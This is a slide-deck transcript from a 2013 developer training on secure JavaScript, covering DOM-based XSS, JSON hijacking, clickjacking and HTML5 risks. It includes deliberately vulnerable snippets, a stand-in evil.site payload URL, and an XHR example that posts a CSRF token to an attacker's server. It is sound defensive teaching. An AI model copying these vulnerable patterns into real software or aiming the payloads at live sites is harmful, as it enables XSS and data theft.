Secure java script-for-developers

54
Secure JavaScript for Developers Trainer: Lavakumar Kuppan @lavakumark http://www.andlabs.org

description

null - HasGeek - JSFoo HackNight - 03 August 2013

Transcript of Secure java script-for-developers

Page 1: Secure java script-for-developers

Secure JavaScript for

Developers

Trainer:

Lavakumar Kuppan

@lavakumark

http://www.andlabs.org

Page 2: Secure java script-for-developers

About

• Author of IronWASP and several other

tools

• Security Researcher

• Former Penetration Tester

• Recipient of Nullcon BlackShield

Luminaire Award

• Frequent Speaker at Security

Conferences

http://lavakumar.com

Page 3: Secure java script-for-developers

Research

Attack and Defense Labs Repository of all Research and Tools

http://www.andlabs.org

HTML5 Security, Browser-side

Security Topics of interest

#5 on Top 10 Web Hacks of 2010 CSRF-protection bypass using HPP and ClickJacking

Page 4: Secure java script-for-developers

Tools

IronWASP Web Application Security Testing

Platform

Ravan

JavaScript based Distributed

Computing System

JS-RECON HTML5 based JavaScript Network

Recon Tool

Imposter Browser Phishing Framework

Shell of the Future XSS Reverse Web Shell

Page 5: Secure java script-for-developers

Importance of JavaScript Security

DOM based XSS

– Introduction

– Sources & Sinks

– Identifying DOM based XSS

– Mitigating DOM based XSS

– Lab Session

Outline

Page 6: Secure java script-for-developers

JSON Security

– JSON Parsing

– JSON Hijacking

Clickjacking Protection

– What doesn’t work

– What works

Outline (cont..)

Page 7: Secure java script-for-developers

HTML5 Security

– Cross Origin Requests

– Client-side Persistent Storage

– postMessage

Things to avoid doing in JavaScript

Outline (cont..)

Page 8: Secure java script-for-developers

Importance of JavaScript

Security

Page 9: Secure java script-for-developers

JavaScript cannot have Security issues

Secure Coding is a Server-side concern

All my data is stored on the Server-side

All critical actions are performed on the

Server-side

Myths

Page 10: Secure java script-for-developers

JavaScript Security is as important as

Serve-side Security

All Server-side Data can be accessed from

the browser with JavaScript

All Server-side Functionality can be called

from the browser with JavaScript

Client-side Storage is gaining prominence

(HTML5)

Client-side logic is on the rise

Reality

Page 11: Secure java script-for-developers

DOM Based XSS

Page 12: Secure java script-for-developers

Most important JavaScript Security issue

Script Injection purely on the client-side

Attacker controlled data injected in to the

DOM/JavaScript

Involves a Source and a Sink

DOM Based XSS

Page 13: Secure java script-for-developers

DOM Properties that can be influenced by

an attacker

Types:

– Location based

– Client-side Storage based

– Navigation based

– Cross-domain

Source

Page 14: Secure java script-for-developers

location

location.hash

location.href

location.pathname

location.search

document.URL

document.baseURI

document.documentURI

document. URLUnencoded

Location based Source

Page 15: Secure java script-for-developers

document.cookie

sessionStorage*

localStorage*

Web SQL Database*

Indexed DB*

* HTML5

Client-side Storage Based

Page 16: Secure java script-for-developers

window.name

document.referrer

history (HTML5)

Navigation Based

Page 17: Secure java script-for-developers

postMessage*

XHR call responses from 3rd party

JavaScript API

JSON calls backs from 3rd party

JavaScript API

*HTML5

Cross-domain

Page 18: Secure java script-for-developers

DOM Properties, JavaScript functions and

other client-side entities that can lead to or

influence client-side code execution

Types:

– Execution based

– Url Based

– HTML Based

– Others

Sinks

Page 19: Secure java script-for-developers

eval()

Function()

setTimeout()

setInterval()

execScript() (IE Only)

crypto.generateCRMFRequest() (FF Only)

Execution Based

Page 20: Secure java script-for-developers

location

location.assign()

location.replace()

location.href

location.protocol*

location.search*

location.hostname*

location.pathname*

*Indirect impact

Url Based

Page 21: Secure java script-for-developers

document.write()

document.writeln()

HTML Elements

HTML Element Attributes

– ‘src’

– onclick, onload, onerror etc

– Form action

– href

HTML Based

Page 22: Secure java script-for-developers

XHR Calls

– open()

– send()

– setRequestHeader()

postMessage

Client-side Storage

JavaScript variables

Others

Page 23: Secure java script-for-developers

JavaScript Static Analysis

– Identify Sources and Follow them in to Sinks

– Run Regex on JavaScript code

– IronWASP

JavaScript Runtime Analysis

– Requires the execution of JavaScript in the page

– Alerts when Sources/Sinks are called during

execution

– Dominator

– DOM Snitch

Identifying DOM Based XSS

Page 24: Secure java script-for-developers

Avoid Sources and Sinks as much as possible

Perform rigorous white-list based filtering on

Sources

Perform proper encoding before sending to Sink

ESAPI4JS to help with encoding and filtering

Mitigating DOM Based XSS

Page 25: Secure java script-for-developers

DOM XSS Wiki

http://code.google.com/p/domxsswiki

DOM Snitch http://code.google.com/p/domsnitch

References

Page 26: Secure java script-for-developers

JSON Security

Page 27: Secure java script-for-developers

Has become the standard format to send data to

JavaScript

Subset of JavaScript

Only a data format but :

– Improper JSON Parsing can lead to Security issues

– Improper formatting can lead to JSON Hijacking

JSON Security

Page 28: Secure java script-for-developers

JSON data is sent as text from the server

Must convert this to JavaScript object

JSON.parse() is the right and safe way to do it

Older browsers don’t support JSON.parse()

So eval() is used instead

var js_obj = eval(‘(‘ + json_string + ‘)’)

This is where the trouble begins

JSON Parsing

Page 29: Secure java script-for-developers

If JSON data is user controlled/from 3rd party

then it is poisoned

Calling eval() on such JSON leads to XSS

Filtering & Encoding JSON string before calling

eval() does not help

Use https://github.com/douglascrockford/JSON-

js/blob/master/json_parse.js instead

JavaScript Injected in to JSON

Page 30: Secure java script-for-developers

Proper JSON Validation

http://blog.kotowicz.net/2011/08/death-to-filters-

how-to-validate-json.html

JSON Validation Bypass

http://blog.mindedsecurity.com/2011/08/ye-olde-

crockford-json-regexp-is.html

References

Page 31: Secure java script-for-developers

JSON is a sub-set of JavaScript

JavaScript can be loaded and executed from

external websites

<script src=“http://www.google-analytics.com/urchin.js”>

JSON can also be loaded by external websites

<script src=“http://victim.site/getUsers”>

Structure of the JSON string will determine if

external sites can read it

JSON Hijacking

Page 32: Secure java script-for-developers

[{“name”:”lava”}]

This is a JavaScript Array and can be hijacked by

external sites

If attacker controls some part of this string then UTF-7

data can be injected to improve attack’s effectiveness

callback_function({“name”:”lava”})

This is a valid JavaScript function and can be hijacked

by external sites

Troublesome Formats

Page 34: Secure java script-for-developers

Safe JSON Format:

{“name”:”lava”}

Safe JSON Parsing:

JSON.parse()

– Use https://github.com/douglascrockford/JSON-

js/blob/master/json_parse.js to emulate JSON.parse()

in older browsers

Safe JSON

Page 35: Secure java script-for-developers

ClickJacking Protection

Page 36: Secure java script-for-developers

ClickJacking is performed by including the target

page in an iframe of another page

Obvious solution appears to be to prevent the

page from loading in an iframe

Most developers use FrameBusting for this

Some use CSRF-tokens in the URL to prevent

this

ClickJacking Protection

Page 37: Secure java script-for-developers

Relies on JavaScript

Fail-open model

Can be bypassed by:

– Double Framing

– Cancelling unload

– No-Content Flushing

– Abusing browser-based XSS Filters

– Iframe Sandboxing (HTML5)

Problems with Framebusting approach

Page 38: Secure java script-for-developers

CSRF-token in URL is set by the server

But there must be some initial URL which does

not have this token

This URL is usually the home page that the user

types in the Address bar

Attacker can include this page in iframe and

ClickJack his way through to the target page

Problems with CSRF-tokens in URL approach

Page 39: Secure java script-for-developers

On server-side use X-FRAME-OPTIONS header

On the client-side use a fail-close model to

framebusting

By default the page must be unusable – Set the

CSS ‘display’ property to ‘none‘

If the page is no in an iframe the set ‘display’ to

‘block’

References:

OWASP ClickJacking Protection https://www.owasp.org/index.php/Clickjacking

Best way to Mitigate ClickJacking

Page 40: Secure java script-for-developers

HTML5 Security

Page 41: Secure java script-for-developers

Originally Ajax calls were subject to Same Origin

Policy

Site A cannot make XMLHttpRequests to Site B

HTML5 makes it possible to make these cross

domain calls

Site A can now make XMLHttpRequests to Site

B as long as Site B allows it.

Response from Site B should include a header:

Access-Control-Allow-Origin: Site A

Cross Origin Requests

Page 42: Secure java script-for-developers

Have you seen URLs like these: http://www.example.com/#index.php

Inside the page: <html><body><script>

x = new XMLHttpRequest();

x.open("GET",location.hash.substring(1));

x.onreadystatechange=function(){if(x.readyState==4){

document.getElementById("main").innerHTML=x.responseText;}}

x.send(); </script>

<div id=“main”></div>

</body></html>

Client-side File Includes

Page 43: Secure java script-for-developers

This design though flawed was difficult to exploit

earlier

Introducing Cross Origin Requests

http://example.com/#http://evil.site/payload.php

Contents of ‘payload.php’ will be included as

HTML within <div id=“main”></div>

New type of XSS!!

Client-side File Includes (contd..)

Page 44: Secure java script-for-developers

COR makes XMLHttpRequest as a dangerous

DOM based XSS sink

Responses of XHR are consumed in many

websites in different ways.

Eg: JSON, XML HTML

Since this data is supposed to be from same

domain they are usually not validated

Huge potential for XSS vulnerabilities

Client-side File Includes (contd..)

Page 45: Secure java script-for-developers

Here the focus is not on the response of XHR

But instead it is the request that matters

Sites send a lot of sensitive data to the server

using XHR

If the URL of the XHR is made to point to the

attacker’s website, then this data is sent to

attacker’s server

Eg: x = new XMLHttpRequest();

x.open(“POST",location.hash.substring(1));

x.send(“a=1&b=2&csrf-token=k34wo9s3l”);

Cross-site Posting

Page 46: Secure java script-for-developers

HTML5 introduces several Persistent Client-side

Storage options: – localStorage

– WebSQL

– IndexedDB

Devs tempted to store sensitive data on client-

side

Eg: Offline Gmail stores the entire Inbox on the

client-side

Storing data over HTTP is vulnerable to DNS

Spoofing attacks

Client-side Persistent Storage

Page 47: Secure java script-for-developers

HTML5 API for sending/receiving data between

frames of different origins

API has the option to explicitly mention the

target domain when sending message

Don’t use ‘*’ to invalidate this security measure

API has option to check the source of the

message

Always perform this check before using the data

from external frames

Don’t trust data from 3rd party, always validate it

postMessage

Page 48: Secure java script-for-developers

HTML5 Quick Reference Guide

http://www.andlabs.org/html5.html

Cross Origin Requests Security

http://code.google.com/p/html5security/wiki/Cros

sOriginRequestSecurity

Web SQL Database Security

http://code.google.com/p/html5security/wiki/Web

SQLDatabaseSecurity

Mozilla Developer Network – postMessage

https://developer.mozilla.org/en/DOM/window.po

stMessage

References

Page 49: Secure java script-for-developers

Things to avoid doing in JavaScript

Page 50: Secure java script-for-developers

JavaScript runs in the user’s environment

User has full control over it

Impossible to prevent user from reading

JavaScript code

Disabling right-click DOES NOT WORK

Some Basic Facts

Page 51: Secure java script-for-developers

if(user == “admin” && passwd = “s3cr3t”)

{

window.location = “admin.php”

}

else

{

window.location = “login.php”

}*

*Stop laughing, this is a real-life example

Authentication

Page 52: Secure java script-for-developers

var auth_result = check_creds(uname,pwd);

if(!auth_result)

{

failed_login_count++;

if(failed_login_count > 3)

{

document.cookie = “account_locked = 1”;

}

}

Security Controls

Page 53: Secure java script-for-developers

if(promo_code == “ER290U”)

{

discount_percent = 50;

}

else

{

discount_percent = 10;

}

Expose Business Logic or Sensitive Information

Page 54: Secure java script-for-developers

Client-side only Validation

Crypto, almost always a bad idea

Storing sensitive data in client-side stores over

HTTP

References:

Common Sense

Things to Avoid (contd..)